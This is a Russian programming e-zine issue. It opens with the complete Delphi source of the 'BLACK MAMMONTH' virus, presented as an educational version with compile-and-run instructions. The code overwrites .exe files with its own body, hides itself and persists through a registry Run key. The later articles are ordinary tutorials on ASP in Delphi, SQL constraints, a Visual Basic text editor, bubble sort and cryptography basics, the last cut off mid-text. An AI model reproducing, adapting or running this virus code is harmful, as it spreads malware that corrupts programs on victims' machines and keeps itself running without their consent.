{====[BLACK MAMMONTH VIRUS, ОБУЧАЮЩАЯ ВЕРСИЯ. MADE IN USSR, Dr.Klouniz]====} { КАК ИГРАТЬСЯ С ЭТИМ ВИРУСОМ. ЮЗЕР МАНУАЛ: 1.Создаем каталог c:\inf 2.Компилируем вирус (Project--> Build) 3.Cравниваем размер полученного файла с константой VIRLEN; если не совпадаетизмени константу и перекомпилиру }
http://www.vr-online.ru
20
VR-online Journal (Horrific and VR-Team)
Для программистов №9
4. Переписываем в каталог c:\inf несколько exe-файлов и вирус. Запускаем вирус. ========================================================= =======================} {$I-} //Игнорировать I/O ошибки {$D-} //Не вводить в код отладочную информацию program VirDebug; uses sysutils, //Заголовочные файлы windows, registry, //Работа с системным реестром classes, inifiles; //Работа с INI-файлами ConST VIRLEN= 296960; //Длина нашего вируса. После компиляции сравните получ. //размер с указанным здесь, при необходимости измените и перекомпилируйте var zertva,virus : TFileStream; //Мы и жертва //буфера для чтения записи довеска и вируса vir,dovesok : array [1..VirLen] OF Char; result : integer; //результат FindFirst'а client,sr : TSearchRec; //Массив имени файла Name : array [1..8] Of String; //Массив расширения файла Ext : array [1..3] Of String; //Наш INI-каталог; вирус- полноценная прога под WindoZ! Info : TINIFILE; NewName,pr,par,FromF : string; //Разные строчки //Дата как метка зараженности Birth : TDateTime; kill,slay,winvir,NewProga : file; //файлы //Индикатор зараженности (TRUE/FALSE) infected : boolean; //Текстовый файл-визитка; свидетельствует о том, что это не первый //старт виря на данном компьютере check : textfile; si : Tstartupinfo; p : Tprocessinformation; reg : TRegistry; // Функция- копировалка function WindowsCopyFile(FromFile, ToDir : string) : boolean; var F : TShFileOpStruct; begin F.Wnd := 0; F.wFunc := FO_COPY; FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile); ToDir:=ToDir+#0; F.pTo:=pchar(ToDir); F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION; result:=ShFileOperation(F) = 0; end; PROCEDURE INFECTFILES; //Процедура-инфектор begin //Находим исполн. файл в каталоге c:\inf\ result:= FindFirst ('c:\INF\*.exe',faAnyFile,client); WHILE Result= 0 DO //Если нашли, то... begin
http://www.vr-online.ru
21
VR-online Journal (Horrific and VR-Team)
Для программистов №9
//Проверка на вшивость Infected:= false; //если дата- 09.08.83 и время 6:00, то файл заражен и нам не нужен IF DateTimeToStr (FileDateToDateTime (fileage ('c:\INF\'+client.name)))= '09.08.83 06:00:00' then infected:= true; //Проверено! //если мы нашли не сами себя и не зараженный файл, то... IF (client.name<>sr.name) and (infected= false) and (client.name<>'mammonth.exe') then . //Сочиним новое имя для нашей жертвы; begin Name[1]:= inttostr (random(10)); Name[2]:= inttostr (random(10)); Name[3]:= inttostr (random(10)); Name[4]:= inttostr (random(10)); Name[5]:= inttostr (random(10)); Name[6]:= inttostr (random(10)); Name[7]:= inttostr (random(10)); Name[8]:= inttostr (random(10)); Ext [1]:= inttostr (random(10)); Ext [2]:= inttostr (random(10)); Ext [3]:= inttostr (random(10)); NewName:= name[1]+name[2]+name[3]+name[4]+name[5]+name[6]+name[7]+ name[8]+'.'+ext[1]+ext[2]+ext[3]; //скомпонуем новое имя //Свяжемся с нашей жертвой AssignFile (Kill,'c:\INF\'+client.name); //Отправим ее в загон для всех таких же, с уникальным именем ReName (Kill,'c:\INF\files\'+NewName); //Фиксируем новое имя в нашем каталоге Info:= TIniFile.create ('c:\inf\filelist.ini'); WiTh info do begin //Пишем данные с каталог в виде Исходное_имя_файла=Новое_имя_файла WriteString ('FILELIST',client.name,NewName); free; end; //А теперь заразим страшным ВИРУСОМ наш файл! //Открываем на чтение наш семенной фонд :) ||virus:= TFileStream.create ('c:\inf\mammonth.exe',fmOpenRead); Virus.Read (vir,VirLen); //Читаем вирус полностью (константу VirLen помнишь?) //Если клиент поболее нас, но не более чем вдвое, IF (Client.Size>VirLen) AnD ((Client.Size-VirLen)<=VirLen) then //то сравняем размеры begin Virus.Position:= 1; //Рамка считывания- сначала Virus.Read (Dovesok,Client.Size-VirLen); //читаем довесок end; //перепишем жертву по- нашему zertva:= TFileStream.create ('c:\inf\'+client.name,fmCreate); zertva.Write (vir,virlen); //Запишем себя в жертву IF (client.size>virlen) AND ((Client.size-VirLen)<=VirLen) then zertva.write (dovesok,client.size-virlen); //И сверху еще довесок Birth:= StrToDateTime ('09.08.83 06:00:00'); //поставим жертве индикатор зараженности
http://www.vr-online.ru
22
VR-online Journal (Horrific and VR-Team)
Для программистов №9
FileSetDate(Zertva.Handle,DateTimeToFileDate (birth)); Zertva.FREE; //Отпускаем жертву! Virus.FREE; end; Result:= FindNEXT (Client); //Ищем следуюущий екзешник end; end; PROCEDURE REGISTRATION; begin //первый раз, в первый класс! MkDir ('c:\inf\files'); //Создадим загон для жертв AssignFile (check,'c:\inf\present.dat'); //Делаем файл-визитку ReWrite (check); WriteLn (check,'BLACK MAMMONTH virus is now active in this computer'); CloseFile (check); //Сделано! par:= ParamStr (0); //Посмотрим полное имя нашего файла с путем WindowsCopyFile (Par,'c:\inf\'); //скопируем его в рабочий каталог (папку:)) AssignFile (winvir,'c:\inf\'+sr.name); //Найдем его в рабочем каталоге ReName (winvir,'c:\inf\mammonth.exe'); //...И переименуем в mammonth.exe Reg:= TRegistry.Create; //И пусть этот маммонт запускается каждый раз! FileSetAttr ('c:\inf\mammonth.exe',faHidden); With Reg do begin IF OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true) then begin WriteString ('MAMMONTH','c:\windows\mammonth.exe'); CloseKey; end; end; //Все. Мы в реестре. //Халтим вирус с правдоподобным сообщением//сюда можно вписать процедуру вызова StackOverflow end; //Процедура исполнения оригинальной проги PROCEDURE EXECPROGRAM begin Info:= TIniFile.Create ('c:\inf\filelist.ini'); //Заглянем в каталог FromF:= Info.ReadString ('FILELIST',Sr.Name,'NewName'); //Вытащим из загона нужный файл WindowsCopyFile ('c:\inf\files\'+FromF,'c:\inf\'); AssignFile (NewProga,'c:\inf\'+FromF); ReName (NewProga,'c:\inf\'+'_'+Sr.Name); //сделаем левый файл PR:= 'c:\inf\'+'_'+Sr.Name; Info.Free; //Создали, теперь заКапустим его!!! FillChar( Si, SizeOf( Si ) , 0 ); with Si do begin cb := SizeOf( Si); dwFlags := startf_UseShowWindow; wShowWindow := 4; end; //Application.Minimize; Pr:= Pr+#0; Createprocess(nil,@Pr[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
http://www.vr-online.ru
23
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Waitforsingleobject(p.hProcess,infinite); //Application.Restore; //Все, отпахала юзерская прога- потрем ее на хрен! AssignFile (slay,pr); Erase (slay); end. {=====КОНЕЦ ПРОЦЕДУРНОЙ ЧАСТИ=====} begin //узнаем имя файла, откуда стартовали FindFirst (ParamStr(0),faAnyFile,sr); //А вдруг первый раз на этом компе??? AssignFile (check,'c:\inf\present.dat'); Reset (check); IF IOresult <>0 then //Если нашего файлика-визитки нет, пора зарегиться тут begin REGISTRATION; INFECTFILES; HaLt; end; IF sr.name= 'mammonth.exe' then begin //Можно запустить инфект файлов, но лучше вписать сюда какой-нибудь прикол //INFECTFILES; HALT; end; INFECTFILES; EXECPROGRAM; {++++END OF THE WORLD NEAR++++} end. Copyright © Александр Лозовский
http://www.vr-online.ru
24
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Delphi (ActiveX): ASP Server часть 2 В прошлый раз я расказал тебе, как создавать простейшие приложения для ASP сервера. Мы посылали запрос написанному в Delphi модулю и получали от него ответ. Такая схема эфективна на 10-20%, потому что основное преимущество у ASP возможность получения и обработки введённой пользователем инфы. Сегодня я научу тебя этому чуду природы. Рассмотрим простейший пример - подписка на новости. Для этого пользователь должен ввести в HTML форме своё имя и e-mail адрес, и отправить информацию серверу. ASP сервер должен прочитать информацию и сохранить в базу. Сохранять мы не будем (это дело техники), а информацию поличим и разберём. Так что, ты сам сможешь увеличить функциональность нашего сервера. А с базами данных мы будем работать в следующий раз. Итак, открой пример из предыдущей статьи и выбери из меню View-> Type Library. Назови его RequestData . После нажатия кнопки "Обновить", ты увидешь новую процедуру RequestData в модуле TesterUnit. procedure TTester.RequestData; var Str:String; i,j:integer; begin Str:=''; //Вывести приветственное сообщение Response.Write('<center><H2> Второй привет от ASP сервера </H2></center>'); //Получить количество переданных параметров Request.QueryString.Count Str:=IntToStr(Request.QueryString.Count); //Вывести на форму количество параметров Response.Write('Количество членов -'+Str+ ' <HR> '); //Обнулить переменную, в которую сохраним информацию о параметрах. Str:=''; //Если интерфейс Request действителен, то можно работать if Assigned(Request) then //Если параметров больше 0, то пользователь передал данные. if Request.QueryString.Count>0 then begin //Запускаем цикл обработки всех переменных for i:=1 to Request.QueryString.Count do begin Str:=Str+'Ключь'+IntToStr(I)+'='+Request.QueryString.Key[i]+'<P>'; if not VarIsEmpty(Request.QueryString.Item[i]) then if varType(Request.QueryString.Item[i])=varDispatch then begin if Request.QueryString.Item[i].count>0 then
http://www.vr-online.ru
25
VR-online Journal (Horrific and VR-Team)
Для программистов №9
for j:=1 to Request.QueryString.Item[i].count do Str:=Str+'Значение: '+Request.QueryString.Item[i].item[j]+'<P>'; end; Str:=Str+'<HR>'; end; end; //Выводим информацию if Assigned(Response) then Response.Write(Str); end; Мы получаем информацию о введённых данных через строку URL, например: http://194.190.35.10/Tester.asp?text1=%C8%E2%E0%ED%EE%E2&text2=ivanov@mail.r u&button1=%CE%F2%EF%F0%E0%E2%E8%F2%FC. В этой строке сначала идёт адрес странички: http://194.190.35.10/Tester.asp, затем, после знака ? (вопрос) идут переданные параметры. Вот именно они находятся в параметре QueryString интерфейса Request. Количество параметров находится в свойстве Count (Request.QueryString.Count). Ключи находятся в списке Request.QueryString.Key[i], где i изменяется от 1 до Request.QueryString.Count. Заметь, что именно с единицы, а не с нуля. Почему? Спроси Microsoft. По этим ключам ты можешь определить имя компонента, который передал значения. А соответвующее значение можно найти в параметре Request.QueryString.Item[i]. Сами значения ключей находятся в отдельном списке Request.QueryString.Item[i], где i изменяется так же. Здесь может находится несколько значений, и их количество хранится в свойстве Request.QueryString.Item[i].count. Чтобы получить доступ к значению параметра нужно прочитать Request.QueryString.Item[i].item[j]. Для удобства я все данные собрал в кучу и наш запрос выведет их на экран. Тебе надо только выполнить ASP-запрос и ты сразу поймёшь всё, что написано в исходнике. Перед компиляцией не забудь добавить в раздел Uses модуль Sysutils. В нём описана функция IntToStr, которую мы используем. Если ты этого не сделаешь, то могут возникнуть проблемы с компиляцией. Запомни, что информация о кнопке типа "Отправить" тоже уйдёт серверу. Теперь компилируй пример и запускай. Для запуска нам понадобится HTML форма (как на рисунке 1) для ввода данных: <html> <head> <title> Тест ASP на получение данных </title> <body> <form action="http://194.190.35.10/Tester.asp" metod="POST" name="QUERY"> <P>Name <input type="text" size=20 name="text1"></P> <P>e-mail <input type="text" size=20 name="text2"></P> <P><input type="submit" name="button1" value="Отправить"></P> </form> </body>
http://www.vr-online.ru
26
VR-online Journal (Horrific and VR-Team)
Для программистов №9
</html>
Рис 1. HTML форма Данные отправляются по адресу http://194.190.35.10/Tester.asp (194.190.35.10 - адрес моего сервера, замени на свой). Tester.asp - имя ASP-формы в главной директории моего WEB-сервера. Данные отправяться в виде URL форме Tester.asp, которая выглядит так: <HTML> <BODY> <TITLE> тестирование сервера ASP </TITLE> <HR> <% Set DelphiASPObj = Server.CreateObject("ASPTester.Tester") DelphiASPObj.RequestData %> </BODY> </HTML>
http://www.vr-online.ru
27
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Рис 2. ASP форма с результатом запроса В форме Tester.asp я также, как и в прошлый раз создаю объект ASPTester.Tester. А во второй строке я вызываю новый метод DelphiASPObj.RequestData. Всё. Используй на здоровсе. Если возникли проблемы, то качай мой исходник. А в следующий раз мы будем работать с базами данных, так что готовься. Исходники примера смотри в файле activex.zip Copyright © Фленов Михаил aka Horrific
http://www.vr-online.ru
28
VR-online Journal (Horrific and VR-Team)
Для программистов №9
SQL: Настройка таблиц Я уже рассказал о создании таблиц, изменении количества столбцов, удалении таблиц. Теперь подошло время расказать про настройку полей в таблице, например, как указывать диапазон доступных значений для таблицы или нечто подобное. При создании таблицы указывать диапазон допустимых значений. Если пользователь ввёл недопустимое значение, то программа просто отклонит это значение или сгенерирует ошибку. До сегодняшнего дня мы создавали таблицы, где мы опускали этот параметр и наши столбцы не имели органичений кроме типа и размера поля. Расмотрим общий случай: CREATE TABLE Имя_Таблицы ( Имя_Поля_1 Тип Ограничения, Имя_Поля_2 Тип Ограничения, ); Давай сразу создадим таблицу с двумя полями. Первое должно быть уникальным, а второе не должно содержать нулей: CREATE TABLE NewTable ( Name char (10) UNIQUE, email char (10) NOT NULL ); Таким образом мы создали таблицу с уникальным первым полем. Это позволяет нам использовать это поле в качестве уникального ключа, и за уникальностью будет следить сама база данных. Для первичных ключей не нужно указывать уникальность, они уникальны от природы: CREATE TABLE NewTable ( Name char (10) NOT NULL PRIMARY KEY, email char (10) NOT NULL UNIQUE ); Единственное ограничение, которое я оставил - это NOT NULL. Его желательно оставить, потому что первичные ключи не могут быть пустыми. Пускай база данных следит за этим, хотя она и так будет следить. То, что второе поле я сделал уникальным и ненулевым, так это просто для красоты. А если нам нужно создать таблицу, где комбинация из двух полей должна давать уникальность? Это значит, что в двух строках не может быть одинаковых значений двух определённых полей, например:
http://www.vr-online.ru
29
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Поле1 Поле2 3 3 4 2 5 3 4 2 Если мы поставим уникальность по обоим полям, то во второй и четвёртой строке будет ошибка, оба поля имею одно и то же значение. Первая и третья строка не даст ошибки, потому что у них разное Поле1, хотя и Поле2 совпадает. Так как же задать ограничение сразу по двум столбцам? CREATE TABLE NewTable ( Name char (10) NOT NULL, email char (10) NOT NULL, Phone char (10), UNIQUE (Name, email) ); В этом примере я создаю таблицу с тремя полями и первые два из них являются уникальными. Точно так же ты можешь создать таблицу с первичным ключём из двух первых столбцов: CREATE TABLE NewTable ( Name char (10) NOT NULL, email char (10) NOT NULL, Phone char (10), PRIMARY KEY (Name, email) ); Помни, что большинство баз данных накладывает ограничение на первичный ключ только первые и подряд идущие поля могут входить в первичный ключ. Есть ещё одно интересное ключевое слово - CHECK, которое позволяет задать диапазон допустимых значений в поле, например: CREATE TABLE NewTable ( Name char (10) NOT NULL PRIMARY KEY, email char (10) NOT NULL UNIQUE, Age decimal CHECK (Age<110) ); В этом примере я добавил поле Age (Возраст) типа decimal. После этого я поставил ключевое слово CHECK , которое задаёт ограничение. После этого я в скобках указал это ограничение, что поле Age должно быть меньше 110 (Я не думаю, что кто-то проживёт больше 110 лет, поэтому ограничил от ошибки). Теперь я усложню пример, сделав двойную проверку: CREATE TABLE NewTable ( Name char (10) NOT NULL PRIMARY KEY, email char (10) NOT NULL UNIQUE, Age decimal CHECK (Age<110 and Age>0) );
http://www.vr-online.ru
30
VR-online Journal (Horrific and VR-Team)
Для программистов №9
В этом примере я сделал дополнительное ограничение. Теперь значение в поле Age должно быть больше 0 и меньше 100. Есть ещё один тип ограничений - типа SQL оператора IN, который мы изучили уже давным давно. CREATE TABLE NewTable ( Name char (10) NOT NULL PRIMARY KEY, email char (10) NOT NULL UNIQUE, Age decimal CHECK (Age<110), Town char(15) CHECK (Town in ('Moscow', 'Piter', 'Brest')) ); Здесь мы используем знакомый оператор IN, который перечисляет допустимые значения для поля Town. Так можно использовать любые допустимые операторы сравнения SQL. Например, можно использовать знаки множественного выбора (маски) такие как _ (подчёркивание - заменяет одну любую букву) и % (процент - заменяет множество букв). Эти маски мы уже изучали, так что давай посмотрим пример: CREATE TABLE NewTable ( Name char (10) NOT NULL PRIMARY KEY, email char (10) NOT NULL UNIQUE, Age decimal CHECK (Age<110), Town char(15) CHECK (Town in ('Moscow', 'Piter', 'Brest')), DateB char(10) CHECK (DateB LIKE '__/__/____'), Password char(10) CHECK (DateB LIKE 'RTY%') ); Здесь я добавил два поля: • •
DateB (Дата рождения) - любое значение этого поля должно удовлетворять маске __/__/____ Password (Пароль) - пароль - слово, которое должно начинатся c трёх букв 'RTY'
Помимо ограничений, нам доступны для настройки и значения по умолчанию, за это отвечает слово DEFAULT: CREATE TABLE NewTable ( Name char (10) NOT NULL PRIMARY KEY, email char (10) DEFAULT='@mail.ru', Age decimal CHECK(Age<110), Town char (15) DEFAULT='Moscow' ); В этом примере я сразу двум полям задал значения по умолчанию. Исходники примера можете взять в файле activex.zip. Copyright © Фленов Михаил aka Horrific
http://www.vr-online.ru
31
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Visual Basic: Текстовый редактор Я попытаюсь рассказать как сделать полноценный текстовый редактор для *.rtf файлов. Будем писать на Visual Basic`e. Можно на Delphi, но это не моя область деятельности. Приступим. Для начала, нужно добавить два дополнительных компонента, нажав правой кнопкой по панели с инструментами и выберете в меню Components. Откроется окно с выбором компонентов, поставьте галочку «Только выбранные элементы», потом нажмите кнопку «Открыть…» и выберите файл comdlg32.ocx. Подробнее показано на рисунке.
Теперь расставим эти компоненты на форме. И назавём их так как показано на рисунке. А забыл нужно создать ещё одну форму и написать в ней об этой программе.
http://www.vr-online.ru
32
VR-online Journal (Horrific and VR-Team)
Для программистов №9
1 Form frmEditor
2 RichTextbox rtfTextBox
3 CommonDialog cdlComDialog
У нашего редактора должно быть меню. Вот его конструкция. Чтобы вызвать редактор меню нажмите на такую иконку на панели
http://www.vr-online.ru
.
33
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Код программы Dim UnsavedChanges As Boolean \\ Объявляем переменную, в которую заносим сохранён ли файл или нет Private Sub mnuEditCopy_Click() \\ При клике в меню Правка\Копировать Clipboard.SetText rtfTextBox.SelRTF \\ Копируем выделенный текст в буфер обмена End Sub Private Sub mnuEditCut_Click() \\ При клике в меню Правка\Вырезать Clipboard.SetText rtfTextBox.SelRTF \\ Копируем выделенный текст в буфер обмена rtfTextBox.SelRTF = "" \\ Удаляем выделенный текст End Sub Private Sub mnuFileExit_Click() \\ При клике в меню Файл\Выход Dim Prompt As String \\ Объявляем переменные Dim Reply As Integer cdlComDialog.CancelError = True On Error GoTo Errhandler \\ Если возникает ошибка заканчиваем процедуру If UnsavedChanges = True Then \\ Если значение переменной True (Правда) Prompt = "Сохранить изменения в файле?" \\ Спрашиваем Сохранять ли файл Reply = MsgBox(Prompt, vbYesNo, Me.Caption) If Reply = vbYes Then cdlComDialog.ShowSave \\ Вызываем диалог сохранения rtfTextBox.SaveFile cdlComDialog.FileName, rtfRTF \\ Сохраняем текст UnsavedChanges = False \\ Ставим значение переменной False (Ложь) End If End If Unload Me Errhandler: End Sub Private Sub mnuEditFind_Click()\\ При клике в меню Правка\Найти Dim SearchStr As String \\ Объявляем переменные Dim FoundPos As Integer SearchStr = InputBox("Введите слово для поиска", "Поиск") \\ Спрашиваем что искать If SearchStr <> "" Then FoundPos = rtfTextBox.Find(SearchStr, , , rtfWholeWord) If FoundPos >= 0 Then rtfTextBox.Span " ", True, True Else \\ Если не найдено MsgBox "Образец не найден", , "Поиск" \\ Говорим что не найдено End If End If End Sub Private Sub mnuFormatBackColor_Click() \\ При клике в меню Формат \ Цвет фона cdlComDialog.CancelError = True On Error GoTo Errhandler cdlComDialog.ShowColor \\ Вызываем окно выбора цвета rtfTextBox.BackColor = cdlComDialog.Color \\ Присваиваем выбранный цвет Errhandler: End Sub Private Sub mnuFormatFont_Click() \\ При клике в меню Формат \ Шрифт
http://www.vr-online.ru
34
VR-online Journal (Horrific and VR-Team)
Для программистов №9
cdlComDialog.CancelError = True On Error GoTo Errhandler cdlComDialog.Flags = cdlCFEffects Or cdlCFBoth cdlComDialog.ShowFont \\ Окно выбора шрифта rtfTextBox.SelFontName = cdlComDialog.FontName \\ Присваиваем параметры Шрифта rtfTextBox.SelFontSize = cdlComDialog.FontSize rtfTextBox.SelColor = cdlComDialog.Color rtfTextBox.SelBold = cdlComDialog.FontBold rtfTextBox.SelItalic = cdlComDialog.FontItalic rtfTextBox.SelUnderline = cdlComDialog.FontUnderline rtfTextBox.SelStrikeThru = cdlComDialog.FontStrikethru Errhandler: End Sub Private Sub mnuFileOpen_Click() \\ При клике в меню Файл \ Открыть cdlComDialog.CancelError = True On Error GoTo Errhandler cdlComDialog.Filter = "Форматированный текст (*.RTF)|*.RTF|All Files (*.*)|*.*" \\ Параметры диалога открытия файла cdlComDialog.Flags = cdlOFNFileMustExist cdlComDialog.ShowOpen \\ Показываем этот диалог rtfTextBox.LoadFile cdlComDialog.FileName, rtfRTF \\ Открываем файл Errhandler: End Sub Private Sub mnuEditPaste_Click() \\ При клике в меню Правка \ Вставить rtfTextBox.SelRTF = Clipboard.GetText End Sub Private Sub mnuFileSaveAs_Click() cdlComDialog.CancelError = True On Error GoTo Errhandler: cdlComDialog.Filter = "Форматированный текст (*.RTF)|*.RTF|All Files (*.*)|*.*"\\ Параметры диалога сохранения файла cdlComDialog.ShowSave \\ Показываем этот диалог rtfTextBox.SaveFile cdlComDialog.FileName, rtfRTF \\ Открываем файл UnsavedChanges = False \\ Ставим значение переменной False (Ложь) Errhandler: End Sub Private Sub mnuFormatTextColor_Click() \\ При клике в меню Формат \ Цвет Текста cdlComDialog.CancelError = True On Error GoTo Errhandler cdlComDialog.ShowColor \\ Вызываем диалог выбора цвета rtfTextBox.SelColor = cdlComDialog.Color \\ Делаем цвет текста таким какой выбрал пользователь Errhandler: End Sub Private Sub mnuHelpAbout_Click() \\ При клике в меню Справка \ О программе frmAbout.Show \\ Показываем форму «О программе» End Sub Private Sub rtfTextBox_Change() \\ Если изменяем текст UnsavedChanges = True \\ Присваиваем переменной значение True (Правда) End Sub
http://www.vr-online.ru
35
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Private Sub Form_Resize() \\ Если изменяем размер формы rtfTextBox.Width = Me.ScaleWidth \\ Изменяется размер текстового поля rtfTextBox.Height = Me.ScaleHeight End Sub Уф, большой код получился. Ну вот и готов наш редактор. Исходник прилагается в файле vb1.rar. Copyright © Slider
http://www.vr-online.ru
36
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Visual Basic: Алгоритм сортировки Я хочу рассказать о самом лёгком алгоритме сортировки массива, обычно его называют «Пузырьковый способ», суть в том, что «тяжёлые» значения опускаются, а «лёгкие» идут наверх. Например, нам дано n переменных в массиве и мы проходим и сравниваем соседние ячейки массива и смотрим если первое число больше второго, то меняем их местами и так со следующими. Рассмотрим это на конкретном примере: В данном случае n=5, и вот сначала мы сравниваем 2 и 3, оставляем без изменений. Потом 3 и 5 тоже не трогаем, а вот 1 и 5 меняем местами. И наконец сравниваем 4 и 5, тоже меняем.
Второй проход. Меняем 3 и 2, 1 и 3, 3 и 4. Нда, пока не особо-то отсортировали. Продолжим.
Опять прогоняем, меняем местами 2 и 1, 3 и 2. Ну вот и отсортировали.
Прогоняем последний раз только для проверки.
Хм у нас получилось, что мы сделали n-1 прогонов. Теперь попробуем составить алгоритм, ну как меня учили, начну с блок схемы.
http://www.vr-online.ru
37
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Если что-то не понятно ниже я привёл пошагово расписанные действия, но уже с конкретными переменными, а не числами. И так же ниже я перевёл наш алгоритм на язык Visual Basic`a.
Ну, всё алгоритм готов, теперь я расскажу на примере как его использовать в Visual Basic`e, т.к. на мой взгляд, это самый лёгкий язык и проблем с написанием не должно быть. Приступим. Создадим новый проект, он будет состоять: • две формы – frmSort – главная форма приложения frmAbout – форма «О программе» •
один модуль - modSort один модуль – modSort
Кинем на нашу главную форму 3 лэйбла, два TextBox`a, только не забудь поставить в свойствах многострочность(MultiLine), CommandDialog, и ещё картинку и сделаем её не видимой. Ваша форма будет выглядеть примерно так.
http://www.vr-online.ru
38
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Теперь сделаем меню, так же можно назначить «горячие клавиши».
Код формы frmSort: Option Explicit Private Sub Form_Load() ' при загрузки формы у самого нижнего лэйбла уменьшаем длину. lblBar.Width = 0 End Sub Private Sub mnuFileExit_Click() ' выходим из программы Unload Me End Sub Private Sub mnuFileNew_Click() ' очищаем поле ввода днных
http://www.vr-online.ru
39
VR-online Journal (Horrific and VR-Team)
Для программистов №9
txtSource.Text = "" txtResult.Text = "" txtSource.SetFocus End Sub Private Sub mnuFileOpen_Click() ' открываем документ Dim LineOfText As String cdlComDialog.Filter = "Текстовые файлы (*.TXT)|*.TXT" cdlComDialog.ShowOpen If cdlComDialog.FileName <> "" Then Open cdlComDialog.FileName For Input As #1 On Error GoTo TooBig Do While Not EOF(1) Line Input #1, LineOfText txtSource.Text = txtSource.Text & LineOfText & vbCrLf Loop Close #1 End If Exit Sub TooBig: MsgBox "Слишком длинный файл. Считан не полностью!", vbExclamation + vbOKOnly, "Сортировка" Close #1 End Sub Private Sub mnuFileSaveAs_Click() ' сохраняем в текстовый файл On Error Resume Next cdlComDialog.Filter = "Текстовые файлы (*.TXT)|*.TXT" cdlComDialog.ShowSave If cdlComDialog.FileName <> "" Then Open cdlComDialog.FileName For Output As #1 Print #1, txtResult.Text Close #1 End If End Sub Private Sub mnuHelpAbout_Click() ' показываем форму «О программе» frmAbout.Show vbModal End Sub Private Sub mnuSortAsc_Click() ' лезем в модуль за процедурой S1 End Sub Private Sub mnuSortDesc_Click() ' лезем в модуль за процедурой S2 End Sub
Код модуля modSort: Option Explicit Sub BubbleSort(X(), n, Ord) Dim a As Variant
http://www.vr-online.ru
40
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Dim i As Integer Dim j As Integer Select Case Ord Case 1 ' Сортировка по возрастанию For i = 1 To n - 1 For j = 1 To n - i If X(j) > X(j + 1) Then a = X(j + 1) X(j + 1) = X(j) X(j) = a End If Next j Next I Case 2 ' Сортировка по убыванию For i = 1 To n - 1 For j = 1 To n - i If X(j) < X(j + 1) Then a = X(j + 1) X(j + 1) = X(j) X(j) = a End If Next j Next i End Select End Sub Sub S(Ord As Integer) Dim i As Integer Dim j As Integer Dim intCharCount As Integer Dim intLineCount As Integer Dim strLine As String Dim X() As Variant Screen.MousePointer = vbHourglass With frmSort intCharCount = Len(.txtSource.Text) intLineCount = 0 .lblBar.Width = 0 .lblBar.BackColor = RGB(255, 0, 0) ' Считаем сколько строк For i = 1 To intCharCount .lblBar.Width = 5655 / intCharCount * i If Mid(.txtSource.Text, i, 1) = vbCr Then intLineCount = intLineCount + 1 End If Next i .lblBar.Width = 0 .lblBar.BackColor = RGB(0, 255, 0) If intLineCount = 0 Then Exit Sub
http://www.vr-online.ru
41
VR-online Journal (Horrific and VR-Team)
Для программистов №9
' Выделяем память под массив ReDim X(1 To intLineCount) ' Формируем строки и заполняем массив j=1 strLine = "" For i = 1 To intCharCount .lblBar.Width = 5655 / intCharCount * i If Mid(.txtSource.Text, i, 1) = vbCr Then If IsNumeric(strLine) Then X(j) = Val(strLine) ' Число Else X(j) = strLine ' Строка End If j=j+1 strLine = "" Else If Mid(.txtSource.Text, i, 1) <> vbLf Then strLine = strLine & Mid(.txtSource.Text, i, 1) End If End If .lblBar.Width = 5655 / intCharCount * i Next i ' Собственно сортировка .imgSort.Visible = True DoEvents BubbleSort X, intLineCount, Ord .imgSort.Visible = False DoEvents ' Заполняем текстовое поле "Результат" .lblBar.Width = 0 .lblBar.BackColor = RGB(0, 0, 255) .txtResult.Text = "" For i = 1 To UBound(X) .lblBar.Width = 5655 / intLineCount * i .txtResult.Text = .txtResult.Text & X(i) & vbCrLf Next i .lblBar.Width = 0 .lblBar.BackColor = RGB(255, 255, 0) End With Screen.MousePointer = vbDefault End Sub
http://www.vr-online.ru
Copyright © Slider
42
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Шифрование и всё, что с этим связано У людей всегда есть что скрывать и почти всегда есть кто-то, кто хотел бы это узнать. Возникает проблема: как сделать так чтобы информация была доступна только посвящённым и была недоступна для посторонних. Это было толчком к развитию криптологии. Криптология ( греч. kryptos- скрытый, тайный и logos- знание ) - это наука о способах преобразования информации включающая в себя два направления: криптография и криптоанализ. Криптография занимается созданием и изучением обратимых алгоритмов преобразования информации для её защиты. Криптоанализ занимается изучением способов расшифровки зашифрованой информации без знания ключа. Первые способы шифрования появились ещё до нашей эры в Древнем Риме, хотя по другим данным они также существовали в Греции и Египте. Я в этой статье не собираюсь рассказавать историю криптологии, по этой теме и так достаточно информации и если вам будет нужно, я думаю, вы легко её найдёте. Эта статья предназначена главным образом для тех, кто собирается разрабатывать свои системы шифрования или для того чтобы уметь оценить какие-то криптоалгоритмы, а также чтобы знать основные слабые места в системах защиты и т.д. 1
Классификация алгоритмов шифрования: Симметричные -потоковые -блочные(перестановка,замена) С открытым ключом
В симметричных алгоритмах используется один и тотже ключ как для шифрования, так и для дешифрования. Защита основана на том, что расшифровать сообщение можно только с помощью секретного ключа. Потоковые системы работают отдельно с каждой единицей информации накладывая на неё по определённому математическому закону гамму которая генерируется на основе ключа. В блочных работа идёт уже с буквами, байтами которые переставляются/заменяются по определенному закону. В системах с открытым ключом сушествует закрытый ключ(для расшифровки сообщения) и созданый на основе закрытого открытый(для шифровки сообщения). Эти ключи как правило имеют большую длину. Устойчивость этих шифров основана на сложности обратных преобразований, т.е. получение закрытого ключа по открытому используя современную вычислительную технику и известные математические методы. Нет ни какой гарантии, что завтра не появится новый более быстрый метод и тогда защита станет не эффективной, к тому же эти алгоритмы ещё мало изучены. Да, чуть не забыл сказать ещё об одном способе защиты информации стеганографии. Смысл в том , что небольшой объём информации определённым образом сохраняется в большем объёме другой не секрктной информации. В качестве носителя может быть использован графический или музыкальный файл. Если в графическом файле изменить 1-2 младших бит в байтах или словах отвечающих за цвет по для глаза это будет почти незаметно. Этот метод позволяет скрыть не только секретную информацию, но и сам факт её наличия. 2 Слабые места и ошибки в реализациии алгоритмов шифрования
